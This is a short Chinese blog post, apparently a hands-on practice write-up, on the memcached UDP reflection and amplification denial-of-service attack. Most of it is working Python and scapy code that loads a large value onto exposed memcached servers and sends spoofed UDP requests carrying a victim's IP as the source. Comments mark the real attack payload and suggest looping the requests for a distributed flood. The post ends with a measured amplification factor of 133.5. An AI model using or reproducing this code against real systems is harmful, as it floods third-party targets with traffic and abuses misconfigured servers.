0x00 起因
最近利用此漏洞的工具频发,甚至出现了上T级别流量的攻击。正好漏洞原理比较简单,适合自己动手实践实践,加深一下自己对计算机网络的理解

0x01 原理

  • 1. 放大
  • 利用memcache的未授权访问漏洞,攻击者可以通过较小的请求让存在漏洞的服务器发出较大的响应。
    memcache最大存储的item(key+value)大小限制为1M,一次较小的请求可以造成最大1M的响应

  • 2. 可攻击
  • memcache支持udp协议,不需要tcp的握手建立环节,可以伪造请求的ip地址,修改其为攻击的目标。

    0x02 攻击
    使用python中的scapy库自定义报文,安装可以直接安装python3-scapy
    也可以安装python-memcache便于对memcache操作

    import memcache
    
    # 此处可添加利用的服务器
    conn = memcache.Client([memcache_ip + ':11211', ...])
    # 设置最大的存储内容
    conn.set('drdos',very_very_long_payload, 0)
    

    此处为可选项,为了实现最大的反射倍数

    from scapy.all import *
    
    # 此处仅为简单原理验证
    data = '\x00\x00\x00\x00\x00\x01\x00\x00' + 'stats\r\n'*10
    
    # 此处应为实际攻击
    # data = '\x00\x00\x00\x00\x00\x01\x00\x00get drdos\r\n'
    
    # 若需实现分布式请添加循环
    packets = IP(src=target_ip, dst=memcache_ip) / UDP(sport=12345, dport=11211)/data
    result = send(packets)
    print(result)
    

    加上’\x00\x00\x00\x00\x00\x01\x00\x00’是因为

    The frame header is 8 bytes long, as follows (all values are 16-bit integers
    in network byte order, high byte first):

    0-1 Request ID
    2-3 Sequence number
    4-5 Total number of datagrams in this message
    6-7 Reserved for future use; must be 0


    上图可以看出只发送了一个包,却返回了39个包,大小也是3倍多,总放大倍数为133.5